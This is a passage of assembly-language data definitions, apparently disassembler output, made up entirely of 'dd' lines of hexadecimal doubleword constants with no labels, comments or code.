		dd 10A66419h, 0C3594900h, 7C5E0382h, 2FE41DE5h,	21901862h
		dd 0C33F61ABh, 190209FFh, 0D70FE1h, 1BC05BA9h, 6F47881h
		dd 3D2E0B5h, 7002102h, 954F2584h, 1DEFC06Ch, 3046A4A8h
		dd 0CC5AEBA9h, 0A33A2703h, 0D8C786ACh, 5D1E1h, 7D1E9F57h
		dd 0A5586F47h, 9D498900h, 8196181Bh, 0E0B614F9h, 878034D7h
		dd 94954C25h, 1322C143h, 27CF5900h, 0C6E3771h, 19106005h
		dd 0CA4DB762h, 83E17000h, 0C1A32F7Dh, 236E3FB2h, 1194F968h
		dd 0C3568054h, 0F586038Dh, 0A0884D0Ch, 0CAC3005Eh, 196578D5h
		dd 0DF3CD8D0h, 9B4D0158h, 6AEBBE3Bh, 84C2848h, 0F60387C3h
		dd 0A24095C4h, 1D8BC354h, 0F11C100h, 18E72598h,	28890A67h
		dd 81E882CAh, 38640B69h, 832A88Eh, 220C6A49h, 6C310017h
		dd 0CB185938h, 0C0007B7Eh, 84033612h, 0A5BD1ACFh, 6191644Ch
		dd 0E8FBC573h, 1C11E81h, 259AD69Dh, 0BE666411h,	7A750329h
		dd 0B5A39949h, 0E696D840h, 0C0180515h, 1DD39411h, 0B0189822h
		dd 91B12B3Dh, 7E410056h, 49C8D7C1h, 1C1F97DEh, 0AD49A514h
		dd 0E4080148h, 0F1C05EF7h, 89A80C67h, 2E18922Dh, 971C40A0h
		dd 0E5063B77h, 7B49A9ECh, 178E0320h, 67F02705h,	0E78928F8h
		dd 10114E35h, 65934000h, 0C0FB385Bh, 0D2C027A0h, 8E0650B0h
		dd 76020FA0h, 6ADE3709h, 0B0DAB020h, 8902C74Ah,	23651A8Fh
		dd 8ACCA0F1h, 9EB450h, 97558044h, 1CFE360Dh, 0F909A901h
		dd 61222599h, 8C6E0C20h, 83C35802h, 167C5603h, 0C360A600h
		dd 0ED629EDh, 1C6600C0h
		dd 4AAF2EC1h, 466C7B37h, 0FBB51681h, 8001CC55h,	4E9189ABh
		dd 74728445h, 0C3533077h, 2E1DC808h, 544E6462h,	0F3C338FDh
		dd 1103BF90h, 1968B32Ah, 28210061h, 0CFD44D80h,	8A077554h
		dd 0FE37BBFFh, 92C3A850h, 0B0555665h, 0A2B08807h, 0C2C43889h
		dd 0DED0BE47h, 10DDECE3h, 6F37FDF8h, 2B08F502h,	0E2F40302h
		dd 401CA3B8h, 39A9B8Ch,	0D0329FE0h, 6900F735h, 80361F3h
		dd 0E8F6FA77h, 74FD488Ah, 0E1F13E01h, 22BE497Bh, 3090F2F8h
		dd 5376E273h, 2E24CFE8h, 42024817h, 90E9ACh, 37D37E96h
		dd 0EAD27814h, 1E39DB8h, 1C99C352h, 97F85866h, 35AA488h
		dd 73247DC3h, 0D140FF85h, 48C61A4h, 8E66B08Ch, 14F563D0h
		dd 0B4D4BA21h, 16F77306h, 82ECA861h, 8564310Ah,	3904A79Bh
		dd 4C80F321h, 26981E05h, 8798CCA5h, 0B4337CB9h,	2FDC9114h
		dd 0EAF0EBA1h, 0C53CC939h, 0EE2A8247h, 0AA576412h, 465C6C74h
		dd 6D6A004Dh, 8548BBBDh, 7E8C038Fh, 0E1713903h,	8A019804h
		dd 0A4852943h, 97235C3Ah, 3DD16500h, 0C9FF559Bh, 0A8848E49h
		dd 3BA060CEh, 0B4A2108Ah, 9E1EC8C4h, 0D4384065h, 4A72367Bh
		dd 208161C6h, 11800021h, 410FA1B8h, 8D7146C7h, 4AEE88B0h
		dd 0CB9C8800h, 7D2F89C8h, 4CC4A01Ch, 238017Bh, 76AD33ABh
		dd 9A488523h, 0B84717A5h, 0BAF47580h, 0BD3CA481h, 0CBB8A9B2h
		dd 8386530h, 0C56CA28Dh, 30401564h, 61BA386Dh, 1F898D1Fh
		dd 0A0400D93h, 0A11D80E8h, 0B4F55069h, 650616A6h, 165C1F4Ah
		dd 0D9BC08D2h, 5227C9C0h, 46A42195h, 67001091h,	0C8C227B1h
		dd 0BD039CA0h, 0F6E73C6Dh, 1A700675h, 0C0484933h, 6B2DB546h
		dd 0BC8A915Ah, 2E0770CEh, 5A453853h, 7D947FE1h,	21D81F4h
		dd 1E91C9B0h, 20E353AAh, 2F71A180h, 18106159h, 1CB81FDBh
		dd 0A0814883h, 8DC35AC8h, 0D88ED1B0h, 68400C18h, 0B0D500B1h
		dd 0E410A94h, 98546011h, 850089FCh, 0F9FC3E9Dh,	0EC8B70C2h
		dd 0D3910F29h, 9BE999A2h, 69840481h, 6448CAA5h,	0C0997211h
		dd 0C9491C1Eh, 89D4A4DAh, 506A6888h, 0F0B41835h, 7BC0ACDBh
		dd 95583E83h, 2B22C6h, 0D27CB5Dh, 65E7BE82h, 4A114009h
		dd 0BDA0222Dh, 0FC972937h, 5F804D11h, 0BB1CF776h, 0F30B8904h
		dd 58903C88h, 0AC2F69h,	52DC189Eh, 0EEAB0743h, 395B421Dh
		dd 0C66A5C01h, 894035F6h, 26D3A8F0h, 74642DBFh,	64910D90h
		dd 0D0CFC180h, 24D81585h, 251F18h, 11EE991Eh, 3F142594h
		dd 88F46C74h, 0B08FC060h, 88468E6Bh, 0BB010A22h, 0E37EB0D7h
		dd 0D9801D23h, 0E924F7D1h, 19E06614h, 3CFE4Ch, 0D3493935h
		dd 139599F1h, 0B22EB75h, 48103C28h, 0E300B79Dh,	0BE86CF7Ch
		dd 129BC3BDh, 57EE3D31h, 0D09C0878h, 592582C0h,	0C19C2195h
		dd 44002F91h, 568927CAh, 3A329236h, 4137D2BAh, 9E18D4D0h
		dd 95552608h, 402CC4BCh, 4B268668h, 748300BFh, 8BDA55F2h
		dd 813E5396h, 0CEC1E03Ch, 2C776Fh, 0D261E515h, 0E6895B23h
		dd 27B5AC1Eh, 7C002896h, 6591516Ch, 0CC234C53h,	4DC06988h
		dd 0FD0386C3h, 104819EAh, 48C355A7h, 5C00471Ch,	623DDB74h
		dd 0AD00B83Ah, 25BAC580h, 487C32C1h, 1F090C68h,	0EC021671h
		dd 0F840789Bh, 0F4A7B703h, 0C1610944h, 64AEF8E3h, 372B9F0Ch
		dd 221C48CAh, 2AEAE49Eh, 18D43235h, 3381330Eh, 386F5830h
		dd 5CA210B3h, 8018C8C5h, 8A38772Ah, 0D2009516h,	0E65E739Fh
		dd 0ECA6D02h, 99A6EBD1h, 18230681h, 0F18C7293h,	1D0C6809h
		dd 931C150Bh, 42EC00DAh, 1367F02Ch, 0FE5C070h, 0ED803A80h
		dd 6E26BA9Bh, 7178AB12h, 73C844CBh, 0F0D5CFC3h,	439B8F9h
		dd 0F32D95E1h, 4024C9BAh, 0B19E7C64h, 84D4F058h, 1E011673h
		dd 34FFCDC1h, 0C484717Ch, 0F73918h, 3F0C4D9Bh, 0D9ECB113h
		dd 10E1873h, 7E50984Ah,	4835920Bh, 3760EF94h, 1E7DE642h
		dd 65731DCDh, 980B0C3Eh, 0BCB248A8h, 1271E771h,	0D3C9A0A3h
		dd 3FC442FDh, 8D279848h, 7A2606EEh, 0B4133005h,	5BC0789Ah
		dd 0F454D44Eh, 70147F70h, 1330821Ch, 1C271AF7h,	83FB9DC2h
		dd 0C1ECF20Ch, 87E2D72Dh, 90BB59B8h, 81F1BB10h,	0F21062B5h
		dd 29403010h, 55665C09h, 7C7901ABh, 0A430F6B8h,	0CCFA5075h
		dd 500BFC95h, 30E4E427h, 607128D0h, 81EF7F7Ah, 37D89E18h
		dd 0FC753965h, 0B8A72C33h, 0D91D66C0h, 92960268h, 4CAC170h
		dd 9AE18C40h, 4C446F3Ah, 8C10F898h, 0F04F7D00h,	9E882577h
		dd 0EDEC042Bh, 0B3EA2A29h, 3095B280h, 34A8B04h,	54A38840h
		dd 5998B7h, 8D55014Ah, 46782AF7h, 141AF415h, 0C00226ECh
		dd 5A62840h, 748700F7h,	50CCF956h, 40004166h, 0EE16F899h
		dd 4A3E4691h, 0D9C80155h, 21D1D665h, 0E4540090h, 7B06AFCCh
		dd 823F20A5h, 0DCB09419h, 9E84CE03h, 0FF4C7C39h, 656760AEh
		dd 0B8C3FD36h, 93C00E4Ch, 11782FFh, 0B3E61E4h, 4489AE66h
		dd 6E80B011h, 44A28C38h, 2B14448Ch, 57387600h, 6EB74A8Bh
		dd 0E9E1179Dh, 44941F61h, 0C002EC45h, 39C84C0h,	582EBD5Ah
		dd 0C1014D23h, 0F4175120h, 86BCC0h, 0CA6A87F0h,	0C27430E0h
		dd 712CE448h, 0C4A0A586h, 6C196114h, 74754060h,	52A0077h
		dd 956987E8h, 789AFDD5h, 667321h, 8ACAB77Dh, 6207C285h
		dd 91AB3D81h, 54E25B84h, 780D1400h, 6DBF5233h, 0E400F17Eh
		dd 0C59D3CCDh, 1573B8F4h, 0F08E096Ah, 39F22018h, 0AFF8A460h
		dd 79972900h, 3BD0C2B1h, 9D183028h, 8D65DB81h, 9A4F2C01h
		dd 9548F3E9h, 403FF020h, 5018A21h, 9E7A2957h, 503CE4D1h
		dd 97B8E8D4h, 6DC00A8Eh, 21C7D37h, 0F145A11Ch, 1F2D2C68h
		dd 139A2440h, 0CB92D035h, 0C0C388BCh, 0D763CC80h, 613BF214h
		dd 147B4CACh, 0D2EC1A39h, 29C85C8Ah, 0D17D88C0h, 0DDB31E1Fh
		dd 0B497A518h, 27961491h, 3D7702FCh, 6170D873h,	22E7108Eh
		dd 0EE48121Eh, 300F06Fh, 709BF005h, 7401214Eh, 0C11C1E77h
		dd 3E01DAF5h, 0DA51A6FEh, 0BA63FC02h, 9A8E0B9h,	0EE1E8068h
		dd 0D794300h, 0B54690C8h, 474D038Bh, 62161DB1h,	29AAE1F8h
		dd 0EC09A0B0h, 46AB589h, 9CC819E8h, 0CB4C0082h,	0C37CBE09h
		dd 0C0001CC7h, 6DEC3637h, 5E29BCEh, 5B6A0DDCh, 8F7482BFh
		dd 0A720DCD3h, 0DC202C5Ah, 431952F7h, 0E82B4AF1h, 0C269F510h
		dd 67BA0410h, 60194460h, 0AD4B21h, 4FF0C96Ch, 0B79F2F4h
		dd 709A960Bh, 0D9CC1A3Fh, 18265958h, 78DB70A6h,	5EAE0DEh
		dd 0E5E1A531h, 70840F63h, 48881F00h, 8D2EC11Dh,	84146409h
		dd 0F8004CE0h, 38008CCDh, 33F28E8Ah, 1A9F9D7h, 0AB2573F0h
		dd 844429C1h, 0EE3C3678h, 2588A88Eh, 0BE31ABC0h, 90671CCh
		dd 0DD710362h, 2FB81440h, 0D8020524h, 0F860AD43h, 6EF69Ch
		dd 0B14B0C12h, 9994ED20h, 84886260h, 0E695D37Dh, 4F209A6Fh
		dd 0E06ED1h, 71BA67E7h,	208483Ah, 9E1F52D0h, 1C7164F2h
		dd 0FD60B4DBh, 0A872891Ch, 0B07F0130h, 9EA6F1D0h, 6851244h
		dd 89275373h, 1DC2894h,	73D2B35h, 0CC4421F2h, 3006A887h
		dd 28AAE5F9h, 405E46B8h, 0B8E6A1FDh, 0A5C21099h, 0B51040D1h
		dd 17040055h, 0EF5F143h, 66002E0Ah, 0A87296F3h,	150DA3D8h
		dd 9062981Fh, 0EC017058h, 74337CBAh, 0A1A864DCh, 0F0C2FCA8h
		dd 292FFD02h, 0F0E517E7h, 23990B0h, 8B108DE2h, 90A04DC5h
		dd 0EABDAC27h, 35B9302h, 60EF8F6Ah, 9EBFA800h, 0D0988FDCh
		dd 142E93B0h, 0D11CC223h, 0A1C88ACEh, 32AF8455h, 0BC1E23FCh
		dd 45C1421Ch, 40247002h
		dd 809A75B8h, 262DF1D8h, 0C3940015h, 0BE880C73h, 13465CC0h
		dd 8360C100h, 821CF7EDh, 73C1FA60h, 9215096Eh, 0F0B0080h
		dd 0D4C80626h, 0C21CBCD1h, 9D892171h, 0EFD481DBh, 2460A15Dh
		dd 47F288FDh, 0B049BD00h, 0ED4D2439h, 0E0070F7Ah, 0F126030Ah
		dd 0A13F38D7h, 1788AD73h, 801211B8h, 1CE3F27Eh,	9882482Bh
		dd 0D1AE5901h, 51CEC8F1h, 32C16A8Ch, 613110F8h,	42E0F70Dh
		dd 0C9884169h, 0E7E40049h, 809D8A5Eh, 88811E11h, 2D55274Fh
		dd 0D42F5F88h, 0C8004C23h, 0A5695093h, 3D34B397h, 70186BDAh
		dd 0C1035F13h, 0A0B62C90h, 0BD3626E7h, 0F7268174h, 8128ABE5h
		dd 0A9C170C8h, 702D1B7Ch, 9640F33Eh, 10832D13h,	956A6C05h
		dd 0F83F200Ah, 0A0885C40h, 32B887h, 0BC4090A7h,	9D311CE9h
		dd 6437AB09h, 716C621Fh, 189579C4h, 0A1031FE1h,	0F479F2F5h
		dd 2F0E5B20h, 98C4872h,	0BB5DB300h, 0CE9E9F7Bh,	0B1FE170Eh
		dd 725E80AFh, 0AA52711Fh, 38B7F0h, 98721870h, 37278105h
		dd 3918907Eh, 0B00E501Dh, 0E49F0169h, 8AE73E04h, 4C452E33h
		dd 18217D12h, 1000ADDh,	0E57B2916h, 0C0D42A28h,	9F463521h
		dd 9E09A085h, 942A32Dh,	823C012Ch, 0E900675Ch, 30FFA519h
		dd 0C11BA864h, 17409C05h, 0D31A01F0h, 190789FCh, 446F6B3Ch
		dd 5C03A032h, 0E8C98E48h, 5E96F860h, 63007FC8h,	8FD1707Dh
		dd 34AA5B6h, 114ED5DAh,	0D65C4D9Fh, 1C2A4CCCh, 0D640EA10h
		dd 0B81FF337h, 0E0540027h, 0BF66B1DFh, 5B0190B6h, 311E9D84h
		dd 1880A8B2h, 7B4EE91Bh, 5248CEAh, 0A2417097h, 805091A9h
		dd 0D07EE772h, 0CF23D8C1h, 623BA10Fh, 19C54CA2h, 38302F1Fh
		dd 339CBAFEh, 2A504C55h, 26C85A9Bh, 0B8048F34h,	38F2C9A1h
		dd 0A4A90CA0h, 549358BCh, 684309BCh, 0FBD31F02h, 0BCB215C8h
		dd 1DC8856h, 6BE3B227h,	0EE576535h, 8C04FC62h, 0E8461660h
		dd 4A1F1DEh, 8B48DBE0h,	8474D011h, 84B92D21h, 60DB2712h
		dd 0C4034C89h, 40B823CBh, 1498E62Bh, 58D46A70h,	97A11034h
		dd 0CF92AC95h, 0A04380B8h, 793F6447h, 0A46E00C7h, 0CB5B5C3Eh
		dd 0A1014D5Dh, 0C490672h, 11805F81h, 12E86B38h,	450CCDF2h
		dd 885EA57h, 204C6035h,	3CE89323h, 0FB3FA500h, 3018D9A8h
		dd 0EB5B03A7h, 642D71BFh, 4D5872F0h, 0A02E4100h, 3CFDDA6Eh
		dd 1D221D48h, 7356083Dh, 0A0266600h, 1DEE872h, 606EE161h
		dd 0E05B5D5Fh, 9CB0F6E5h, 0FA0F6200h, 9C376DDBh, 77D5005Ch
		dd 0B6E8157Fh, 690C6512h, 506C3A47h, 6F8B0FA1h,	0C03FFF97h
		dd 0FC51BCB3h, 52009E3Bh, 0B8180A36h, 0A2CAC0h,	55B2ABA3h
		dd 399D5905h, 40C05774h, 0A073152h, 281C0CE4h, 6509F1A5h
		dd 293261C0h, 3E3B2207h, 4E008AA4h, 1193D10Eh, 0E3000C6Ch
		dd 0FA9A95DEh, 1C6A6282h, 475D1C22h, 0A019AF8Ch, 49812BA1h
		dd 2D58A4A0h, 0F7961000h, 5D3D0DE2h, 37653ACAh,	88213330h
		dd 82009618h, 61DAC2C3h, 55847795h, 80EAD46Bh, 92CE1CA5h
		dd 91240768h, 0AE143945h, 59037EE0h, 0C200E46Dh, 0DEC110F3h
		dd 0A14B72CDh, 0E0DC6AA8h, 5161398Dh, 0A5E12900h, 2F949B36h
		dd 0C9163D07h, 0B240E733h, 0F2EE57FCh, 0A938DC48h, 18305960h
		dd 36980069h, 1A84994Dh, 64242EBEh, 9B87004Fh, 5C07C03h
		dd 140C037h, 0EC1845F4h, 0EFF5D7CEh, 0F7D38298h, 0A8F0348h
		dd 0F85F36DEh, 0CE0DA0Fh, 64A4C05Ch, 824D714Ah,	35302E40h
		dd 0DA6F08A0h, 55643D25h, 0A02D6740h, 1C489CCCh, 62029F88h
		dd 406B88CEh, 12996444h, 429D255Ch, 9B590400h, 0F704184Ch
		dd 2CE41008h, 0E72E7362h, 0DED4072Fh, 0F893E5C1h, 0CEC09DF9h
		dd 0C0A46AB5h, 0C77934BDh, 90DA97BBh, 71A5EC06h, 0CF954003h
		dd 485A3A33h, 0FC075771h, 6F79FA8Eh, 26108C15h,	2F804027h
		dd 0A034048Ch, 622DDA70h, 2C68204Fh, 0D203BBA0h, 0ED6F03B1h
		dd 2BCAA05Dh, 1DE18D1h,	0C1F62958h, 5BA6A20Eh, 26720014h
		dd 7D23415Dh, 5E670050h, 0F9E7DBB1h, 2C9BD104h,	6D801611h
		dd 7DF1F8E8h, 2171608Ch, 1CE8951Dh, 190C2798h, 0C80C6B93h
		dd 17980989h, 3C10E082h, 0E84C036Ch, 24BEDC10h,	0EC04C25h
		dd 21E2F596h, 599135BDh, 96168600h, 0B5A304B7h,	481FED3Ch
		dd 0EC942B98h, 508FC00h, 86A5D4E4h, 1F7044h, 0F9840734h
		dd 0DC039580h, 8120693Ah, 76E06CF4h, 2020653Ch,	482900A0h
		dd 1BFC34BAh, 0E94CF713h, 0B3821D1Ch, 0CDD9F3C1h, 7434435Eh
		dd 882C149Eh, 0A040E44Bh, 94048C11h, 85F229E8h,	9C001838h
		dd 97DB74E8h, 99BF3E9h,	0BA8D529h, 67901003h, 95E49006h
		dd 777042BAh, 9C81009Dh, 5CD9F54Ah, 0CD12F829h,	4C1E2835h
		dd 3B96D704h, 0AC3A2C85h, 6B005023h, 8777E8B6h,	0F33E1C56h
		dd 904468DEh, 29746BCh,	0E40408FBh, 66B8B10Ch, 7332010h
		dd 39854116h, 88254440h, 3CD749A0h, 0CF81E730h,	0DF0DF1ACh
		dd 791B30E0h, 2372F0A1h, 9823DCh, 0E41108F8h, 8085A5F4h
		dd 5707301Bh, 6504E86Ch, 0DA2C9108h, 0F40014DDh, 995C48ECh
		dd 0D944BC14h, 0F516DD16h, 0E0F80418h, 4B5C452Ah, 0C9658834h
		dd 46D00B03h, 42787950h, 9609028Ch, 3765E130h, 8D102E19h
		dd 87009611h, 97493ACh,	0DA626FBh, 0D0E02DEAh, 9F8056Ah
		dd 0AB0234FCh, 8847874Ch, 8E606D44h, 1E00B13Fh,	0D820814Bh
		dd 2A6B6C26h, 90AC5BE2h, 434920DCh, 3B236006h, 0C8408F1Ah
		dd 2C09A70h, 24E40B08h,	58082824h, 707FA31h, 7FA9DEDBh
		dd 88602C85h, 10F6960Fh, 0C83D15E2h, 178B8054h,	0A6F49896h
		dd 46885116h, 30322062h, 6B119FF9h, 568805DAh, 0A02F1B80h
		dd 77970A7Eh, 5E47F0Fh,	0E712339Bh, 234C2ED7h, 7B90033h
		dd 0AF0686E4h, 0DDE92A04h, 0D8855912h, 16F3849h, 0DE6C43A0h
		dd 55DA5C40h, 7637093Dh, 3412348Ch, 31448C47h, 0E2481260h
		dd 4D0BE803h, 99B19D60h, 0DC23646Eh, 60305864h,	23FA9603h
		dd 5711B5E2h, 960B8700h, 0E81A4D14h, 3911DD00h,	6E426267h
		dd 0B04B6004h, 364698DCh, 0DA95DF09h, 0D950AD4Eh, 80FE9C61h
		dd 70B19FDh, 0D174B149h, 0AC184Eh, 0E7553187h, 81C6DD33h
		dd 9B043570h, 6679845Fh, 2F9EEC90h, 0E46100F7h,	498BC622h
		dd 0FAE8E124h, 74CB4C0Ch, 1B035h, 6BBC14EAh, 70B6C519h
		dd 0DE476807h, 58B3B0B8h, 0BA82661h, 0E86EC0E0h, 7546F1F7h
		dd 4C4210h, 0CE89622h, 0EC5CE011h, 2D4B5827h, 70B8505Ch
		dd 0CAC058Ch, 40610108h, 482C8780h, 500B435h, 0EFA413DBh
		dd 194CAF2h, 1F11EAD2h,	5C9212h, 7324B58h, 28B1CD65h, 0CEC9F009h
		dd 230F8377h, 0EADD72E6h, 206D055h, 4C98596Eh, 2D80B439h
		dd 86E7FEEAh, 5C476F2Eh, 76E69A60h, 0F14C0052h,	8EDEB911h
		dd 30246ECBh, 0C30C2C59h, 13672863h, 3EA2D7E2h,	562374h
		dd 1BE4E1FDh, 5004C4B3h, 5C8EE5DAh, 0AACEA093h,	0F2E08141h
		dd 698E4A7Fh, 52A02267h, 6BB460EAh, 71E3C613h, 30F90822h
		dd 0DAECA02Ah, 4B221D46h, 0E2A06AA0h, 0E044D202h, 8C8D4F0Eh
		dd 0EDDCD884h, 300DA9ACh, 0D2241631h, 66B5F700h, 4BE80EA9h
		dd 0E0670272h, 8002FB8Bh, 5091449Dh, 0E62B17C0h, 0F90030C7h
		dd 3827049Bh, 0B35B598Fh, 5CF4248Ch, 2E016F46h,	3A8B405Ah
		dd 4399735h, 0A400A06Eh, 22E3B10Dh, 3174EAC2h, 4E8FAA12h
		dd 0ADC6EC83h, 0D064A052h, 4FB230B2h, 1C02F430h, 1D9081F5h
		dd 0DD0C80B7h, 0A2AEE608h, 48703A5Ch, 8C4FE8FCh, 941F9F74h
		dd 5E018C98h
		dd 5FDC5CF9h, 0F8088054h, 94CD8049h, 0E45C09C5h, 28E98A07h
		dd 4D7257A4h, 913C95C0h, 0D7258049h, 708C45DAh,	0F0E52436h
		dd 4E467410h, 0AAF55705h, 3EB28137h, 70BCF108h,	2C174ED1h
		dd 680C5C97h, 985D131h,	689AD75Bh, 0CDA87480h, 0D4A06241h
		dd 212A5CE9h, 794AEC67h, 54164840h, 768A73Ch, 0E45D7476h
		dd 5CDA9399h, 47C42140h, 7FE93213h, 0A9C38C9Ah,	0AEE023FDh
		dd 41058927h, 59E30EE8h, 8404E801h, 442C4597h, 4C4335ECh
		dd 3D82303Ah, 2492F5FCh, 1CE97B60h, 0CCB4B313h,	82490F1Ch
		dd 8010B77Ah, 0F9C8FA7Dh, 9814E06Eh, 7BA453C9h,	0E8707B48h
		dd 3E028C4Bh, 0B76C2D5Eh, 9618C189h, 809F618h, 4504E40Fh
		dd 2E1580ACh, 0E794B107h, 6E030E14h, 646F24F0h,	0F49C2Eh
		dd 0A09B237Ah, 0E9D0E7F6h, 0D3821200h, 9FDE04F8h, 79EC997Fh
		dd 3A661833h, 9B00BC0Dh, 0CDE3A6F6h, 0A804E46h,	0F256263Ah
		dd 0C06A1818h, 6D2598DAh, 0F46C0032h, 0B9AFF87h, 0B13E6CA3h
		dd 5511CC9Dh, 5C496680h, 0D815AAC7h, 88613Ah, 234F577Ch
		dd 259C2868h, 10A08117h, 3C2E04BBh, 3090A248h, 6BF83159h
		dd 310F123Ah, 237C3AF0h, 5C0A0059h, 0B75B8A6Ch,	0E781649h
		dd 0D899D5A2h, 42FE0F1h, 0F322ED73h, 0A290E382h, 4F03356h
		dd 0D30E0DBh, 2BCA592Eh, 0B9CC1705h, 959C0FA1h,	0C8087FE6h
		dd 4022F46h, 0ADE2FB96h, 84003094h, 74B8960Ch, 1657D054h
		dd 9079AF66h, 0D2581A6Ch, 36F46700h, 2F0C4F3Fh,	7CC8024Eh
		dd 0E4833AA9h, 0F00D852h, 6BCEA462h, 0E9FF04h, 14EFA703h
		dd 97DC5469h, 65C1CB2h,	436DBCC4h, 6B7B0D4Dh, 54F069E0h
		dd 7FB029D1h, 183279A4h, 255A1764h, 0F87E144Fh,	12379D10h
		dd 0E8C84397h, 0A048C41h, 1DE20196h, 8A07048Eh,	0B9719612h
		dd 0CC424468h, 835A3Dh,	160A33E4h, 0A82195h, 0A72ED1C7h
		dd 0EE0B2064h, 0DD208C90h, 0E0FC0146h, 29FDF29h, 0F3498054h
		dd 1CC252EFh, 94400026h, 0F8DFB32h, 0A909A534h,	9704A601h
		dd 806E9130h, 1B1A63E7h, 0F4D8F54Fh, 0CDE41D14h, 5E0E4CAh
		dd 0E27C2C67h, 4D6DF144h, 4716910Ch, 806EC014h,	0A1F52400h
		dd 13672A64h, 225CE802h, 737288DEh, 0EF947004h,	7A0B8C90h
		dd 90E482C3h, 337E05Ch,	0D95CB13Fh, 0C0466A21h,	297CF0A4h
		dd 0E3EFAB7h, 0F1D68E1Eh, 2F01EA0Fh, 3C44A258h,	8C31F810h
		dd 787EA5E8h, 8B0FC100h, 0A29D6D89h, 3ACD20EDh,	0E2C8FB00h
		dd 0F0F9E771h, 0C76B15A9h, 0A059905Ah, 0B900CABCh, 0AE923FF0h
		dd 2189C25h, 0E302D503h, 48C0B4DDh, 2B807237h, 5448BA9Dh
		dd 125788E2h, 145F22EEh, 0A2CF8420h, 674BF883h,	0DAC10DD8h
		dd 0AE1EF200h, 4CCC195Ch, 0AF2501EFh, 81C648F5h, 0F00B10A5h
		dd 98C00165h, 0F295DE10h, 40588544h, 54A203E8h,	663065E2h
		dd 3815188Ah, 0DB5C9859h, 20BC2676h, 6D4676h, 5E87050Dh
		dd 963931h, 3352E843h, 36E0CEE1h, 0F95B5C00h, 7A32B46Bh
		dd 909262h, 0EFECB1A0h,	97BC6441h, 8CEBF12Eh, 0A4C4B08h
		dd 37A15B2Fh, 17AF089h,	394C81C5h, 91B1137Dh, 0D1DDD820h
		dd 0BC27008Eh, 0F3DC2DF0h, 0DFE2D7E9h, 8CED7B00h, 7F45DDA6h
		dd 486E1843h, 9FE49038h, 0DE89E000h, 4427058Fh,	725D675Eh
		dd 0A958575Ah, 6F918017h, 53AA6C81h, 2A080F0h, 4E9834CAh
		dd 59249CC9h, 0D403DDDh, 81386E60h, 0F996DEDCh,	887C8C61h
		dd 0CE196B32h, 925F0210h, 918B0028h, 10B1548Ah,	2DB8206Ch
		dd 3FDDCE12h, 7F14BC02h, 4B8C508Dh, 2824484Ch, 0D1A02BC3h
		dd 0D42C15DAh, 0A04361B0h, 2B907DECh, 0DB2EA00h, 0D86EE18Eh
		dd 398C764h, 8D39A091h,	543EE5C9h, 0F1F054DEh, 6F46AE12h
		dd 0EDF29002h, 13C850FDh, 60184907h, 2EE86FA4h,	0C06DF221h
		dd 9DE8971Fh, 66DD510Ch, 9439506Ch, 92C98010h, 415BCBC8h
		dd 819A500h, 8FF3837Dh,	78E101EFh, 0C3E3FDEAh, 72BC5084h
		dd 59073D80h, 0E921BF0Fh, 1967C6h, 0A8884B57h, 0EB7610DEh
		dd 0C3B79200h, 0B4FC9C12h, 67720452h, 0A82FEDE3h, 7D5F8110h
		dd 2EC8E695h, 0B9FA56h,	8BF6A33Ch, 0B6DDF00Eh, 0A4E2822Ch
		dd 0C8D64240h, 0F89CA062h, 0C084AD06h, 1ADEF25Fh, 2226740h
		dd 0FB88059Ah, 50C50704h, 1B4C42E2h, 0CF4BC0B5h, 644A229Ch
		dd 97C13C90h, 0D3F90029h, 2621B64Bh, 39007C72h,	576D012Eh
		dd 7C24B453h, 5E4830E1h, 2CA391D1h, 0D1D7376h, 0BBC710Ch
		dd 1029CE0h, 4D5C7F30h,	2EF22873h, 0F0A4A833h, 360202E4h
		dd 564B90EDh, 0FD02D0E2h, 9C780876h, 0F9E8010Bh, 618E8BDEh
		dd 6B2E071Ch, 16A00020h, 0DCAE9B5Bh, 0FE6E2669h, 648F09F8h
		dd 0B3BBA407h, 3B8EE8Ah, 0F938379Ch, 0E0991EA7h, 657FE8CBh
		dd 6054C440h, 480CFA82h, 6E4B0C86h, 1E3C1C98h, 6834FD01h
		dd 7BF5DFFAh, 2F2A1061h, 2E238Ch, 0C112F6Fh, 2D026C16h
		dd 3A1FB1E1h, 6D886864h, 0B5A63C28h, 2DFD2280h,	0D6E2D9F2h
		dd 0F8403826h, 0F60A00A4h, 0C820985Ah, 554BBF03h, 0C7B6F261h
		dd 98EC185Dh, 3BB8BC4Dh, 12A70900h, 2FAA1003h, 0DE7008B8h
		dd 2B503F63h, 0B860100Ah, 3431238h, 0ECE52C0Fh,	52594829h
		dd 2A02F840h, 0A6CE95DFh, 37953058h, 986D808Ch,	938911C0h
		dd 0DA4A1F02h, 33A65B8h, 0E1CCD75Ch, 0B98C2D48h, 81145A42h
		dd 68703688h, 5A6111h, 3E89AEE6h, 8486FE2h, 0EA8C56E8h
		dd 0DF8225D5h, 0F465F825h, 8C001D74h, 9D85CFAFh, 5A38A3Bh
		dd 2A8BD203h, 0C9A4C0EDh, 0C51C7081h, 0E7C34527h, 0A06E497Bh
		dd 1E8E71AAh, 0C1BCEBC2h, 0EF6DCEC3h, 540898ABh, 0BAAD21h
		dd 6BCC49EBh, 0DA94E62Ch, 5CF4B711h, 861473Bh, 2088566Eh
		dd 2C0EB1E8h, 0A04ED914h, 27497803h, 0FB5701EFh, 709F6FBAh
		dd 0F7D77045h, 47B7B006h, 6040B1C9h, 85E7494Fh,	943A4BF2h
		dd 0D1709F28h, 0EA46C006h, 88070F21h, 0A6A59A34h, 0ACD9C78Dh
		dd 21C0FE08h, 0A8347FAEh, 0F37C24h, 59C72DEFh, 1729F0EDh
		dd 88E7A431h, 3083EE1Eh, 73386D69h, 0ED1D7801h,	81D498DBh
		dd 8231C212h, 76F50171h, 88FD3C48h, 340079A8h, 0C529B919h
		dd 0FF32F6CEh, 0F3EAB450h, 0C8C4A888h, 31F20087h, 0C40DB08Bh
		dd 72370B68h, 0EB63286Fh, 705105EDh, 5E5B3Dh, 0F6156C94h
		dd 29C02F2Dh, 12B76ECBh, 9161C175h, 60822A96h, 0AF340BEAh
		dd 100009F2h, 142A9EB1h, 381C0054h, 0CC0DF268h,	0E500CFA4h
		dd 0EF172B57h, 0E6FBB63h, 0A62EF66Eh, 7CE83494h, 1594008Ch
		dd 425440CBh, 12303E9Bh, 46A22184h, 376A0F5Bh, 0F0E3228Bh
		dd 11B018E3h, 2B0120CFh, 6572DBFEh, 10225A1Bh, 888E62Ah
		dd 6AFB661Ah, 67F43002h, 0E8104126h, 0D1D821A1h, 0AC0119FBh
		dd 0A19E742Ch, 42DC68ECh, 3C030870h, 0E45009C2h, 0F7315020h
